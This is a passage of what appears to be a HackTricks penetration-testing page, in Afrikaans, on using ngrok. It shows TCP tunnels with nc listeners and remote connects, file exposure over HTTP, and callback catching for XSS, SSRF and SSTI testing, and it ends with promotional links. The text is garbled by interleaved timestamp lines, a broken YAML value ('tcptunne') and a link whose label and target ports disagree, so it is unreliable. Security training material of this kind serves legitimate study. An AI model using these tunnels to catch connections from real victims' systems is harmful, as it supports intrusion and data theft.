#### Tunneling TCP
2023-03-15 12:00:16 +00:00
```bash
2024-02-11 02:07:06 +00:00
# Pointing to 0.0.0.0:4444
2023-03-15 12:00:16 +00:00
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
2024-02-11 02:07:06 +00:00
#### Blootstelling van lêers met HTTP
2023-03-15 12:00:16 +00:00
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
2024-03-14 23:38:35 +00:00
#### Sniffing HTTP oproepe
2023-03-15 12:00:16 +00:00
2024-02-11 02:07:06 +00:00
*Handig vir XSS, SSRF, SSTI ...*
Direk vanaf stdout of in die HTTP-koppelvlak [http://127.0.0.1:4040 ](http://127.0.0.1:4000 ).
2023-03-15 12:00:16 +00:00
2024-03-26 15:51:04 +00:00
#### Tunneling interne HTTP-diens
2023-03-15 12:00:16 +00:00
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
2024-03-26 15:51:04 +00:00
#### ngrok.yaml eenvoudige konfigurasie voorbeeld
2023-03-15 12:00:16 +00:00
2024-02-11 02:07:06 +00:00
Dit maak 3 tonnels oop:
2023-03-15 12:00:16 +00:00
- 2 TCP
2024-02-11 02:07:06 +00:00
- 1 HTTP met statiese lêers blootstelling vanaf /tmp/httpbin/
2023-03-15 12:00:16 +00:00
```yaml
tunnels:
2024-02-11 02:07:06 +00:00
mytcp:
addr: 4444
2024-03-14 23:38:35 +00:00
proto: tcptunne
2024-02-11 02:07:06 +00:00
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## Ander gereedskap om te kontroleer
2020-07-15 15:43:14 +00:00
* [https://github.com/securesocketfunneling/ssf ](https://github.com/securesocketfunneling/ssf )
* [https://github.com/z3APA3A/3proxy ](https://github.com/z3APA3A/3proxy )
2024-03-14 23:38:35 +00:00
**Probeer Hard Security Group**
2024-03-26 15:51:04 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:38:35 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2022-04-28 16:01:33 +00:00
< details >
2024-03-14 23:38:35 +00:00
< summary > < strong > Leer AWS-hacking vanaf nul tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-24 12:29:59 +00:00
* Werk jy in 'n **cybersecurity-maatskappy** ? Wil jy jou **maatskappy geadverteer sien in HackTricks** ? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat** ? Kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
* Ontdek [**Die PEASS Familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFT's** ](https://opensea.io/collection/the-peass-family )
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Sluit aan by die** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-03-14 23:38:35 +00:00
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo ](https://github.com/carlospolop/hacktricks ) en [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >